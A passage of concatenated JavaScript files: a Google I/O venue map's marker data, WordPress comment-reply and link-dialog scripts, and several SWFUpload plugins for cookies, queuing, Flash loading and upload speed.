title: 'Press Room',
type: 'label'
},
'restroom2a': {
lat: 37.7835334217721,
lng: -122.40386635065079,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom2b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator2a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'1': {
lat: 37.78346240732338,
lng: -122.40415401756763,
icon: 'media',
title: 'Room 1',
type: 'session',
room: '1'
},
'2': {
lat: 37.78335005596647,
lng: -122.40431495010853,
icon: 'media',
title: 'Room 2',
type: 'session',
room: '2'
},
'3': {
lat: 37.783215446097124,
lng: -122.404490634799,
icon: 'media',
title: 'Room 3',
type: 'session',
room: '3'
},
'4': {
lat: 37.78332461789977,
lng: -122.40381203591824,
icon: 'media',
title: 'Room 4',
type: 'session',
room: '4'
},
'5': {
lat: 37.783186828219335,
lng: -122.4039850383997,
icon: 'media',
title: 'Room 5',
type: 'session',
room: '5'
},
'6': {
lat: 37.783013000871364,
lng: -122.40420497953892,
icon: 'media',
title: 'Room 6',
type: 'session',
room: '6'
},
'7': {
lat: 37.7828783903882,
lng: -122.40438133478165,
icon: 'media',
title: 'Room 7',
type: 'session',
room: '7'
},
'8': {
lat: 37.78305009820564,
lng: -122.40378588438034,
icon: 'media',
title: 'Room 8',
type: 'session',
room: '8'
},
'9': {
lat: 37.78286673120095,
lng: -122.40402393043041,
icon: 'media',
title: 'Room 9',
type: 'session',
room: '9'
},
'10': {
lat: 37.782719401312626,
lng: -122.40420028567314,
icon: 'media',
title: 'Room 10',
type: 'session',
room: '10'
},
'appengine': {
lat: 37.783362774996625,
lng: -122.40335941314697,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'App Engine'
},
'chrome': {
lat: 37.783730566003555,
lng: -122.40378990769386,
type: 'sandbox',
icon: 'generic',
title: 'Chrome'
},
'googleapps': {
lat: 37.783303419504094,
lng: -122.40320384502411,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Apps'
},
'geo': {
lat: 37.783365954753805,
lng: -122.40314483642578,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
title: 'Geo'
},
'accessibility': {
lat: 37.783414711013485,
lng: -122.40342646837234,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Accessibility'
},
'developertools': {
lat: 37.783457107734876,
lng: -122.40347877144814,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Dev Tools'
},
'commerce': {
lat: 37.78349102509448,
lng: -122.40351900458336,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'Commerce'
},
'youtube': {
lat: 37.783537661438515,
lng: -122.40358605980873,
type: 'sandbox',
icon: 'generic',
labelMinZoom: 19,
labelAlign: 'right',
title: 'YouTube'
},
'officehoursfloor2a': {
lat: 37.78249045644304,
lng: -122.40410104393959,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2': {
lat: 37.78266852473624,
lng: -122.40387573838234,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor2b': {
lat: 37.782844472747406,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
}
},
'LEVEL3': {
'escalators3': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
},
'restroom3a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'restroom3b': {
lat: 37.78250317562106,
lng: -122.40423113107681,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator3a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'keynote': {
lat: 37.783250423488326,
lng: -122.40417748689651,
icon: 'media',
title: 'Keynote',
type: 'label'
},
'11': {
lat: 37.78283069370135,
lng: -122.40408763289452,
icon: 'media',
title: 'Room 11',
type: 'session',
room: '11'
},
'googletv': {
lat: 37.7837125474666,
lng: -122.40362092852592,
type: 'sandbox',
icon: 'generic',
title: 'Google TV'
},
'android': {
lat: 37.783530242022124,
lng: -122.40358874201775,
type: 'sandbox',
icon: 'generic',
title: 'Android'
},
'officehoursfloor3': {
lat: 37.782843412820846,
lng: -122.40365579724312,
title: 'Office Hours',
type: 'label'
},
'officehoursfloor3a': {
lat: 37.78267170452323,
lng: -122.40387842059135,
title: 'Office Hours',
type: 'label'
}
}
};
google.maps.event.addDomListener(window, 'load', function() {
window['IoMap'] = new IoMap();
});
| JavaScript |
addComment = {
moveForm : function(commId, parentId, respondId, postId) {
var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID');
if ( ! comm || ! respond || ! cancel || ! parent )
return;
t.respondId = respondId;
postId = postId || false;
if ( ! t.I('wp-temp-form-div') ) {
div = document.createElement('div');
div.id = 'wp-temp-form-div';
div.style.display = 'none';
respond.parentNode.insertBefore(div, respond);
}
comm.parentNode.insertBefore(respond, comm.nextSibling);
if ( post && postId )
post.value = postId;
parent.value = parentId;
cancel.style.display = '';
cancel.onclick = function() {
var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId);
if ( ! temp || ! respond )
return;
t.I('comment_parent').value = '0';
temp.parentNode.insertBefore(respond, temp);
temp.parentNode.removeChild(temp);
this.style.display = 'none';
this.onclick = null;
return false;
}
try { t.I('comment').focus(); }
catch(e) {}
return false;
},
I : function(e) {
return document.getElementById(e);
}
}
| JavaScript |
var wpLink;
(function($){
var inputs = {}, rivers = {}, ed, River, Query;
wpLink = {
timeToTriggerRiver: 150,
minRiverAJAXDuration: 200,
riverBottomThreshold: 5,
keySensitivity: 100,
lastSearch: '',
textarea: '',
init : function() {
inputs.dialog = $('#wp-link');
inputs.submit = $('#wp-link-submit');
// URL
inputs.url = $('#url-field');
inputs.nonce = $('#_ajax_linking_nonce');
// Secondary options
inputs.title = $('#link-title-field');
// Advanced Options
inputs.openInNewTab = $('#link-target-checkbox');
inputs.search = $('#search-field');
// Build Rivers
rivers.search = new River( $('#search-results') );
rivers.recent = new River( $('#most-recent-results') );
rivers.elements = $('.query-results', inputs.dialog);
// Bind event handlers
inputs.dialog.keydown( wpLink.keydown );
inputs.dialog.keyup( wpLink.keyup );
inputs.submit.click( function(e){
e.preventDefault();
wpLink.update();
});
$('#wp-link-cancel').click( function(e){
e.preventDefault();
wpLink.close();
});
$('#internal-toggle').click( wpLink.toggleInternalLinking );
rivers.elements.bind('river-select', wpLink.updateFields );
inputs.search.keyup( wpLink.searchInternalLinks );
inputs.dialog.bind('wpdialogrefresh', wpLink.refresh);
inputs.dialog.bind('wpdialogbeforeopen', wpLink.beforeOpen);
inputs.dialog.bind('wpdialogclose', wpLink.onClose);
},
beforeOpen : function() {
wpLink.range = null;
if ( ! wpLink.isMCE() && document.selection ) {
wpLink.textarea.focus();
wpLink.range = document.selection.createRange();
}
},
open : function() {
if ( !wpActiveEditor )
return;
this.textarea = $('#'+wpActiveEditor).get(0);
// Initialize the dialog if necessary (html mode).
if ( ! inputs.dialog.data('wpdialog') ) {
inputs.dialog.wpdialog({
title: wpLinkL10n.title,
width: 480,
height: 'auto',
modal: true,
dialogClass: 'wp-dialog',
zIndex: 300000
});
}
inputs.dialog.wpdialog('open');
},
isMCE : function() {
return tinyMCEPopup && ( ed = tinyMCEPopup.editor ) && ! ed.isHidden();
},
refresh : function() {
// Refresh rivers (clear links, check visibility)
rivers.search.refresh();
rivers.recent.refresh();
if ( wpLink.isMCE() )
wpLink.mceRefresh();
else
wpLink.setDefaultValues();
// Focus the URL field and highlight its contents.
// If this is moved above the selection changes,
// IE will show a flashing cursor over the dialog.
inputs.url.focus()[0].select();
// Load the most recent results if this is the first time opening the panel.
if ( ! rivers.recent.ul.children().length )
rivers.recent.ajax();
},
mceRefresh : function() {
var e;
ed = tinyMCEPopup.editor;
tinyMCEPopup.restoreSelection();
// If link exists, select proper values.
if ( e = ed.dom.getParent(ed.selection.getNode(), 'A') ) {
// Set URL and description.
inputs.url.val( ed.dom.getAttrib(e, 'href') );
inputs.title.val( ed.dom.getAttrib(e, 'title') );
// Set open in new tab.
if ( "_blank" == ed.dom.getAttrib(e, 'target') )
inputs.openInNewTab.prop('checked', true);
// Update save prompt.
inputs.submit.val( wpLinkL10n.update );
// If there's no link, set the default values.
} else {
wpLink.setDefaultValues();
}
tinyMCEPopup.storeSelection();
},
close : function() {
if ( wpLink.isMCE() )
tinyMCEPopup.close();
else
inputs.dialog.wpdialog('close');
},
onClose: function() {
if ( ! wpLink.isMCE() ) {
wpLink.textarea.focus();
if ( wpLink.range ) {
wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
wpLink.range.select();
}
}
},
getAttrs : function() {
return {
href : inputs.url.val(),
title : inputs.title.val(),
target : inputs.openInNewTab.prop('checked') ? '_blank' : ''
};
},
update : function() {
if ( wpLink.isMCE() )
wpLink.mceUpdate();
else
wpLink.htmlUpdate();
},
htmlUpdate : function() {
var attrs, html, start, end, cursor,
textarea = wpLink.textarea;
if ( ! textarea )
return;
attrs = wpLink.getAttrs();
// If there's no href, return.
if ( ! attrs.href || attrs.href == 'http://' )
return;
// Build HTML
html = '<a href="' + attrs.href + '"';
if ( attrs.title )
html += ' title="' + attrs.title + '"';
if ( attrs.target )
html += ' target="' + attrs.target + '"';
html += '>';
// Insert HTML
// W3C
if ( typeof textarea.selectionStart !== 'undefined' ) {
start = textarea.selectionStart;
end = textarea.selectionEnd;
selection = textarea.value.substring( start, end );
html = html + selection + '</a>';
cursor = start + html.length;
// If no next is selected, place the cursor inside the closing tag.
if ( start == end )
cursor -= '</a>'.length;
textarea.value = textarea.value.substring( 0, start )
+ html
+ textarea.value.substring( end, textarea.value.length );
// Update cursor position
textarea.selectionStart = textarea.selectionEnd = cursor;
// IE
// Note: If no text is selected, IE will not place the cursor
// inside the closing tag.
} else if ( document.selection && wpLink.range ) {
textarea.focus();
wpLink.range.text = html + wpLink.range.text + '</a>';
wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
wpLink.range.select();
wpLink.range = null;
}
wpLink.close();
textarea.focus();
},
mceUpdate : function() {
var ed = tinyMCEPopup.editor,
attrs = wpLink.getAttrs(),
e, b;
tinyMCEPopup.restoreSelection();
e = ed.dom.getParent(ed.selection.getNode(), 'A');
// If the values are empty, unlink and return
if ( ! attrs.href || attrs.href == 'http://' ) {
if ( e ) {
tinyMCEPopup.execCommand("mceBeginUndoLevel");
b = ed.selection.getBookmark();
ed.dom.remove(e, 1);
ed.selection.moveToBookmark(b);
tinyMCEPopup.execCommand("mceEndUndoLevel");
wpLink.close();
}
return;
}
tinyMCEPopup.execCommand("mceBeginUndoLevel");
if (e == null) {
ed.getDoc().execCommand("unlink", false, null);
tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1});
tinymce.each(ed.dom.select("a"), function(n) {
if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') {
e = n;
ed.dom.setAttribs(e, attrs);
}
});
// Sometimes WebKit lets a user create a link where
// they shouldn't be able to. In this case, CreateLink
// injects "#mce_temp_url#" into their content. Fix it.
if ( $(e).text() == '#mce_temp_url#' ) {
ed.dom.remove(e);
e = null;
}
} else {
ed.dom.setAttribs(e, attrs);
}
// Don't move caret if selection was image
if ( e && (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') ) {
ed.focus();
ed.selection.select(e);
ed.selection.collapse(0);
tinyMCEPopup.storeSelection();
}
tinyMCEPopup.execCommand("mceEndUndoLevel");
wpLink.close();
},
updateFields : function( e, li, originalEvent ) {
inputs.url.val( li.children('.item-permalink').val() );
inputs.title.val( li.hasClass('no-title') ? '' : li.children('.item-title').text() );
if ( originalEvent && originalEvent.type == "click" )
inputs.url.focus();
},
setDefaultValues : function() {
// Set URL and description to defaults.
// Leave the new tab setting as-is.
inputs.url.val('http://');
inputs.title.val('');
// Update save prompt.
inputs.submit.val( wpLinkL10n.save );
},
searchInternalLinks : function() {
var t = $(this), waiting,
search = t.val();
if ( search.length > 2 ) {
rivers.recent.hide();
rivers.search.show();
// Don't search if the keypress didn't change the title.
if ( wpLink.lastSearch == search )
return;
wpLink.lastSearch = search;
waiting = t.siblings('img.waiting').show();
rivers.search.change( search );
rivers.search.ajax( function(){ waiting.hide(); });
} else {
rivers.search.hide();
rivers.recent.show();
}
},
next : function() {
rivers.search.next();
rivers.recent.next();
},
prev : function() {
rivers.search.prev();
rivers.recent.prev();
},
keydown : function( event ) {
var fn, key = $.ui.keyCode;
switch( event.which ) {
case key.UP:
fn = 'prev';
case key.DOWN:
fn = fn || 'next';
clearInterval( wpLink.keyInterval );
wpLink[ fn ]();
wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
break;
default:
return;
}
event.preventDefault();
},
keyup: function( event ) {
var key = $.ui.keyCode;
switch( event.which ) {
case key.ESCAPE:
event.stopImmediatePropagation();
if ( ! $(document).triggerHandler( 'wp_CloseOnEscape', [{ event: event, what: 'wplink', cb: wpLink.close }] ) )
wpLink.close();
return false;
break;
case key.UP:
case key.DOWN:
clearInterval( wpLink.keyInterval );
break;
default:
return;
}
event.preventDefault();
},
delayedCallback : function( func, delay ) {
var timeoutTriggered, funcTriggered, funcArgs, funcContext;
if ( ! delay )
return func;
setTimeout( function() {
if ( funcTriggered )
return func.apply( funcContext, funcArgs );
// Otherwise, wait.
timeoutTriggered = true;
}, delay);
return function() {
if ( timeoutTriggered )
return func.apply( this, arguments );
// Otherwise, wait.
funcArgs = arguments;
funcContext = this;
funcTriggered = true;
};
},
toggleInternalLinking : function( event ) {
var panel = $('#search-panel'),
widget = inputs.dialog.wpdialog('widget'),
// We're about to toggle visibility; it's currently the opposite
visible = !panel.is(':visible'),
win = $(window);
$(this).toggleClass('toggle-arrow-active', visible);
inputs.dialog.height('auto');
panel.slideToggle( 300, function() {
setUserSetting('wplink', visible ? '1' : '0');
inputs[ visible ? 'search' : 'url' ].focus();
// Move the box if the box is now expanded, was opened in a collapsed state,
// and if it needs to be moved. (Judged by bottom not being positive or
// bottom being smaller than top.)
var scroll = win.scrollTop(),
top = widget.offset().top,
bottom = top + widget.outerHeight(),
diff = bottom - win.height();
if ( diff > scroll ) {
widget.animate({'top': diff < top ? top - diff : scroll }, 200);
}
});
event.preventDefault();
}
}
River = function( element, search ) {
var self = this;
this.element = element;
this.ul = element.children('ul');
this.waiting = element.find('.river-waiting');
this.change( search );
this.refresh();
element.scroll( function(){ self.maybeLoad(); });
element.delegate('li', 'click', function(e){ self.select( $(this), e ); });
};
$.extend( River.prototype, {
refresh: function() {
this.deselect();
this.visible = this.element.is(':visible');
},
show: function() {
if ( ! this.visible ) {
this.deselect();
this.element.show();
this.visible = true;
}
},
hide: function() {
this.element.hide();
this.visible = false;
},
// Selects a list item and triggers the river-select event.
select: function( li, event ) {
var liHeight, elHeight, liTop, elTop;
if ( li.hasClass('unselectable') || li == this.selected )
return;
this.deselect();
this.selected = li.addClass('selected');
// Make sure the element is visible
liHeight = li.outerHeight();
elHeight = this.element.height();
liTop = li.position().top;
elTop = this.element.scrollTop();
if ( liTop < 0 ) // Make first visible element
this.element.scrollTop( elTop + liTop );
else if ( liTop + liHeight > elHeight ) // Make last visible element
this.element.scrollTop( elTop + liTop - elHeight + liHeight );
// Trigger the river-select event
this.element.trigger('river-select', [ li, event, this ]);
},
deselect: function() {
if ( this.selected )
this.selected.removeClass('selected');
this.selected = false;
},
prev: function() {
if ( ! this.visible )
return;
var to;
if ( this.selected ) {
to = this.selected.prev('li');
if ( to.length )
this.select( to );
}
},
next: function() {
if ( ! this.visible )
return;
var to = this.selected ? this.selected.next('li') : $('li:not(.unselectable):first', this.element);
if ( to.length )
this.select( to );
},
ajax: function( callback ) {
var self = this,
delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
response = wpLink.delayedCallback( function( results, params ) {
self.process( results, params );
if ( callback )
callback( results, params );
}, delay );
this.query.ajax( response );
},
change: function( search ) {
if ( this.query && this._search == search )
return;
this._search = search;
this.query = new Query( search );
this.element.scrollTop(0);
},
process: function( results, params ) {
var list = '', alt = true, classes = '',
firstPage = params.page == 1;
if ( !results ) {
if ( firstPage ) {
list += '<li class="unselectable"><span class="item-title"><em>'
+ wpLinkL10n.noMatchesFound
+ '</em></span></li>';
}
} else {
$.each( results, function() {
classes = alt ? 'alternate' : '';
classes += this['title'] ? '' : ' no-title';
list += classes ? '<li class="' + classes + '">' : '<li>';
list += '<input type="hidden" class="item-permalink" value="' + this['permalink'] + '" />';
list += '<span class="item-title">';
list += this['title'] ? this['title'] : wpLinkL10n.noTitle;
list += '</span><span class="item-info">' + this['info'] + '</span></li>';
alt = ! alt;
});
}
this.ul[ firstPage ? 'html' : 'append' ]( list );
},
maybeLoad: function() {
var self = this,
el = this.element,
bottom = el.scrollTop() + el.height();
if ( ! this.query.ready() || bottom < this.ul.height() - wpLink.riverBottomThreshold )
return;
setTimeout(function() {
var newTop = el.scrollTop(),
newBottom = newTop + el.height();
if ( ! self.query.ready() || newBottom < self.ul.height() - wpLink.riverBottomThreshold )
return;
self.waiting.show();
el.scrollTop( newTop + self.waiting.outerHeight() );
self.ajax( function() { self.waiting.hide(); });
}, wpLink.timeToTriggerRiver );
}
});
Query = function( search ) {
this.page = 1;
this.allLoaded = false;
this.querying = false;
this.search = search;
};
$.extend( Query.prototype, {
ready: function() {
return !( this.querying || this.allLoaded );
},
ajax: function( callback ) {
var self = this,
query = {
action : 'wp-link-ajax',
page : this.page,
'_ajax_linking_nonce' : inputs.nonce.val()
};
if ( this.search )
query.search = this.search;
this.querying = true;
$.post( ajaxurl, query, function(r) {
self.page++;
self.querying = false;
self.allLoaded = !r;
callback( r, query );
}, "json" );
}
});
$(document).ready( wpLink.init );
})(jQuery);
| JavaScript |
/*
Cookie Plug-in
This plug in automatically gets all the cookies for this site and adds them to the post_params.
Cookies are loaded only on initialization. The refreshCookies function can be called to update the post_params.
The cookies will override any other post params with the same name.
*/
var SWFUpload;
if (typeof(SWFUpload) === "function") {
SWFUpload.prototype.initSettings = function (oldInitSettings) {
return function () {
if (typeof(oldInitSettings) === "function") {
oldInitSettings.call(this);
}
this.refreshCookies(false); // The false parameter must be sent since SWFUpload has not initialzed at this point
};
}(SWFUpload.prototype.initSettings);
// refreshes the post_params and updates SWFUpload. The sendToFlash parameters is optional and defaults to True
SWFUpload.prototype.refreshCookies = function (sendToFlash) {
if (sendToFlash === undefined) {
sendToFlash = true;
}
sendToFlash = !!sendToFlash;
// Get the post_params object
var postParams = this.settings.post_params;
// Get the cookies
var i, cookieArray = document.cookie.split(';'), caLength = cookieArray.length, c, eqIndex, name, value;
for (i = 0; i < caLength; i++) {
c = cookieArray[i];
// Left Trim spaces
while (c.charAt(0) === " ") {
c = c.substring(1, c.length);
}
eqIndex = c.indexOf("=");
if (eqIndex > 0) {
name = c.substring(0, eqIndex);
value = c.substring(eqIndex + 1);
postParams[name] = value;
}
}
if (sendToFlash) {
this.setPostParams(postParams);
}
};
}
| JavaScript |
/*
Queue Plug-in
Features:
*Adds a cancelQueue() method for cancelling the entire queue.
*All queued files are uploaded when startUpload() is called.
*If false is returned from uploadComplete then the queue upload is stopped.
If false is not returned (strict comparison) then the queue upload is continued.
*Adds a QueueComplete event that is fired when all the queued files have finished uploading.
Set the event handler with the queue_complete_handler setting.
*/
var SWFUpload;
if (typeof(SWFUpload) === "function") {
SWFUpload.queue = {};
SWFUpload.prototype.initSettings = (function (oldInitSettings) {
return function () {
if (typeof(oldInitSettings) === "function") {
oldInitSettings.call(this);
}
this.queueSettings = {};
this.queueSettings.queue_cancelled_flag = false;
this.queueSettings.queue_upload_count = 0;
this.queueSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
this.queueSettings.user_upload_start_handler = this.settings.upload_start_handler;
this.settings.upload_complete_handler = SWFUpload.queue.uploadCompleteHandler;
this.settings.upload_start_handler = SWFUpload.queue.uploadStartHandler;
this.settings.queue_complete_handler = this.settings.queue_complete_handler || null;
};
})(SWFUpload.prototype.initSettings);
SWFUpload.prototype.startUpload = function (fileID) {
this.queueSettings.queue_cancelled_flag = false;
this.callFlash("StartUpload", [fileID]);
};
SWFUpload.prototype.cancelQueue = function () {
this.queueSettings.queue_cancelled_flag = true;
this.stopUpload();
var stats = this.getStats();
while (stats.files_queued > 0) {
this.cancelUpload();
stats = this.getStats();
}
};
SWFUpload.queue.uploadStartHandler = function (file) {
var returnValue;
if (typeof(this.queueSettings.user_upload_start_handler) === "function") {
returnValue = this.queueSettings.user_upload_start_handler.call(this, file);
}
// To prevent upload a real "FALSE" value must be returned, otherwise default to a real "TRUE" value.
returnValue = (returnValue === false) ? false : true;
this.queueSettings.queue_cancelled_flag = !returnValue;
return returnValue;
};
SWFUpload.queue.uploadCompleteHandler = function (file) {
var user_upload_complete_handler = this.queueSettings.user_upload_complete_handler;
var continueUpload;
if (file.filestatus === SWFUpload.FILE_STATUS.COMPLETE) {
this.queueSettings.queue_upload_count++;
}
if (typeof(user_upload_complete_handler) === "function") {
continueUpload = (user_upload_complete_handler.call(this, file) === false) ? false : true;
} else if (file.filestatus === SWFUpload.FILE_STATUS.QUEUED) {
// If the file was stopped and re-queued don't restart the upload
continueUpload = false;
} else {
continueUpload = true;
}
if (continueUpload) {
var stats = this.getStats();
if (stats.files_queued > 0 && this.queueSettings.queue_cancelled_flag === false) {
this.startUpload();
} else if (this.queueSettings.queue_cancelled_flag === false) {
this.queueEvent("queue_complete_handler", [this.queueSettings.queue_upload_count]);
this.queueSettings.queue_upload_count = 0;
} else {
this.queueSettings.queue_cancelled_flag = false;
this.queueSettings.queue_upload_count = 0;
}
}
};
}
| JavaScript |
/*
SWFUpload.SWFObject Plugin
Summary:
This plugin uses SWFObject to embed SWFUpload dynamically in the page. SWFObject provides accurate Flash Player detection and DOM Ready loading.
This plugin replaces the Graceful Degradation plugin.
Features:
* swfupload_load_failed_hander event
* swfupload_pre_load_handler event
* minimum_flash_version setting (default: "9.0.28")
* SWFUpload.onload event for early loading
Usage:
Provide handlers and settings as needed. When using the SWFUpload.SWFObject plugin you should initialize SWFUploading
in SWFUpload.onload rather than in window.onload. When initialized this way SWFUpload can load earlier preventing the UI flicker
that was seen using the Graceful Degradation plugin.
<script type="text/javascript">
var swfu;
SWFUpload.onload = function () {
swfu = new SWFUpload({
minimum_flash_version: "9.0.28",
swfupload_pre_load_handler: swfuploadPreLoad,
swfupload_load_failed_handler: swfuploadLoadFailed
});
};
</script>
Notes:
You must provide set minimum_flash_version setting to "8" if you are using SWFUpload for Flash Player 8.
The swfuploadLoadFailed event is only fired if the minimum version of Flash Player is not met. Other issues such as missing SWF files, browser bugs
or corrupt Flash Player installations will not trigger this event.
The swfuploadPreLoad event is fired as soon as the minimum version of Flash Player is found. It does not wait for SWFUpload to load and can
be used to prepare the SWFUploadUI and hide alternate content.
swfobject's onDomReady event is cross-browser safe but will default to the window.onload event when DOMReady is not supported by the browser.
Early DOM Loading is supported in major modern browsers but cannot be guaranteed for every browser ever made.
*/
// SWFObject v2.1 must be loaded
var SWFUpload;
if (typeof(SWFUpload) === "function") {
SWFUpload.onload = function () {};
swfobject.addDomLoadEvent(function () {
if (typeof(SWFUpload.onload) === "function") {
setTimeout(function(){SWFUpload.onload.call(window);}, 200);
}
});
SWFUpload.prototype.initSettings = (function (oldInitSettings) {
return function () {
if (typeof(oldInitSettings) === "function") {
oldInitSettings.call(this);
}
this.ensureDefault = function (settingName, defaultValue) {
this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
};
this.ensureDefault("minimum_flash_version", "9.0.28");
this.ensureDefault("swfupload_pre_load_handler", null);
this.ensureDefault("swfupload_load_failed_handler", null);
delete this.ensureDefault;
};
})(SWFUpload.prototype.initSettings);
SWFUpload.prototype.loadFlash = function (oldLoadFlash) {
return function () {
var hasFlash = swfobject.hasFlashPlayerVersion(this.settings.minimum_flash_version);
if (hasFlash) {
this.queueEvent("swfupload_pre_load_handler");
if (typeof(oldLoadFlash) === "function") {
oldLoadFlash.call(this);
}
} else {
this.queueEvent("swfupload_load_failed_handler");
}
};
}(SWFUpload.prototype.loadFlash);
SWFUpload.prototype.displayDebugInfo = function (oldDisplayDebugInfo) {
return function () {
if (typeof(oldDisplayDebugInfo) === "function") {
oldDisplayDebugInfo.call(this);
}
this.debug(
[
"SWFUpload.SWFObject Plugin settings:", "\n",
"\t", "minimum_flash_version: ", this.settings.minimum_flash_version, "\n",
"\t", "swfupload_pre_load_handler assigned: ", (typeof(this.settings.swfupload_pre_load_handler) === "function").toString(), "\n",
"\t", "swfupload_load_failed_handler assigned: ", (typeof(this.settings.swfupload_load_failed_handler) === "function").toString(), "\n",
].join("")
);
};
}(SWFUpload.prototype.displayDebugInfo);
}
| JavaScript |
/*
Speed Plug-in
Features:
*Adds several properties to the 'file' object indicated upload speed, time left, upload time, etc.
- currentSpeed -- String indicating the upload speed, bytes per second
- averageSpeed -- Overall average upload speed, bytes per second
- movingAverageSpeed -- Speed over averaged over the last several measurements, bytes per second
- timeRemaining -- Estimated remaining upload time in seconds
- timeElapsed -- Number of seconds passed for this upload
- percentUploaded -- Percentage of the file uploaded (0 to 100)
- sizeUploaded -- Formatted size uploaded so far, bytes
*Adds setting 'moving_average_history_size' for defining the window size used to calculate the moving average speed.
*Adds several Formatting functions for formatting that values provided on the file object.
- SWFUpload.speed.formatBPS(bps) -- outputs string formatted in the best units (Gbps, Mbps, Kbps, bps)
- SWFUpload.speed.formatTime(seconds) -- outputs string formatted in the best units (x Hr y M z S)
- SWFUpload.speed.formatSize(bytes) -- outputs string formatted in the best units (w GB x MB y KB z B )
- SWFUpload.speed.formatPercent(percent) -- outputs string formatted with a percent sign (x.xx %)
- SWFUpload.speed.formatUnits(baseNumber, divisionArray, unitLabelArray, fractionalBoolean)
- Formats a number using the division array to determine how to apply the labels in the Label Array
- factionalBoolean indicates whether the number should be returned as a single fractional number with a unit (speed)
or as several numbers labeled with units (time)
*/
var SWFUpload;
if (typeof(SWFUpload) === "function") {
SWFUpload.speed = {};
SWFUpload.prototype.initSettings = (function (oldInitSettings) {
return function () {
if (typeof(oldInitSettings) === "function") {
oldInitSettings.call(this);
}
this.ensureDefault = function (settingName, defaultValue) {
this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
};
// List used to keep the speed stats for the files we are tracking
this.fileSpeedStats = {};
this.speedSettings = {};
this.ensureDefault("moving_average_history_size", "10");
this.speedSettings.user_file_queued_handler = this.settings.file_queued_handler;
this.speedSettings.user_file_queue_error_handler = this.settings.file_queue_error_handler;
this.speedSettings.user_upload_start_handler = this.settings.upload_start_handler;
this.speedSettings.user_upload_error_handler = this.settings.upload_error_handler;
this.speedSettings.user_upload_progress_handler = this.settings.upload_progress_handler;
this.speedSettings.user_upload_success_handler = this.settings.upload_success_handler;
this.speedSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
this.settings.file_queued_handler = SWFUpload.speed.fileQueuedHandler;
this.settings.file_queue_error_handler = SWFUpload.speed.fileQueueErrorHandler;
this.settings.upload_start_handler = SWFUpload.speed.uploadStartHandler;
this.settings.upload_error_handler = SWFUpload.speed.uploadErrorHandler;
this.settings.upload_progress_handler = SWFUpload.speed.uploadProgressHandler;
this.settings.upload_success_handler = SWFUpload.speed.uploadSuccessHandler;
this.settings.upload_complete_handler = SWFUpload.speed.uploadCompleteHandler;
delete this.ensureDefault;
};
})(SWFUpload.prototype.initSettings);
SWFUpload.speed.fileQueuedHandler = function (file) {
if (typeof this.speedSettings.user_file_queued_handler === "function") {
file = SWFUpload.speed.extendFile(file);
return this.speedSettings.user_file_queued_handler.call(this, file);
}
};
SWFUpload.speed.fileQueueErrorHandler = function (file, errorCode, message) {
if (typeof this.speedSettings.user_file_queue_error_handler === "function") {
file = SWFUpload.speed.extendFile(file);
return this.speedSettings.user_file_queue_error_handler.call(this, file, errorCode, message);
}
};
SWFUpload.speed.uploadStartHandler = function (file) {
if (typeof this.speedSettings.user_upload_start_handler === "function") {
file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
return this.speedSettings.user_upload_start_handler.call(this, file);
}
};
SWFUpload.speed.uploadErrorHandler = function (file, errorCode, message) {
file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
if (typeof this.speedSettings.user_upload_error_handler === "function") {
return this.speedSettings.user_upload_error_handler.call(this, file, errorCode, message);
}
};
SWFUpload.speed.uploadProgressHandler = function (file, bytesComplete, bytesTotal) {
this.updateTracking(file, bytesComplete);
file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
if (typeof this.speedSettings.user_upload_progress_handler === "function") {
return this.speedSettings.user_upload_progress_handler.call(this, file, bytesComplete, bytesTotal);
}
};
SWFUpload.speed.uploadSuccessHandler = function (file, serverData) {
if (typeof this.speedSettings.user_upload_success_handler === "function") {
file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
return this.speedSettings.user_upload_success_handler.call(this, file, serverData);
}
};
SWFUpload.speed.uploadCompleteHandler = function (file) {
file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
if (typeof this.speedSettings.user_upload_complete_handler === "function") {
return this.speedSettings.user_upload_complete_handler.call(this, file);
}
